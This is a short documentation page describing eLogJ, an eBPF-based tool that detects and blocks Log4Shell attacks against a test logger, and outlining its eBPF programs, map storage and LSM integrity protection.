Interpolating Log4Shell
extended Log4j is a tool that essentially allows for detection and prevention of the Log4Shell attack. It was developed around a un-secure logger that logged information directly from the HTTP header field (X-Api-Version) without any type of data sanitisation or pre-processing. In order to trace sufficient information to be able to detect the Log4Shell attack, tracing programs were needed in strategic positions to provide run-time detection.
eLogJ is thus composed of two separate eBPF programs working in unison to analyse the current state of the network activity and adapt according to user-defined rule-sets considering the paradigm of the Log4Shell attack. State is maintained using eBPF maps, which are essentially generic storage units of different types for sharing data between the kernel and user space. Although these units are useful, they can easily be tampered with since eBPF provides direct communication from any space regardless of the map type. This is why a eBPF Linux Security Module program was also added, to verify data structure integrity and block malicious intervention, such as, deleting a eBPF map during run-time.
The following page will dissect eLogJ as a whole, the figure bellow showcases the tools landscape within the Log4Shell paradigm. The main interpolation occurs at steps 1 & 2. Note that from the loggers' perspective, steps 1 & 3 are considered as inbound traffic leaving step 2 as outbound traffic. This is an important abstraction to reflect since the type of eBPF programs vary according to the flow of traffic (according to an interface, eBPF network programs are essentially hooked around a user-defined interface). This implies several performance considerations as will be expressed in the following sections.
Ref:
[1] => https://docs.kernel.org/bpf/maps.html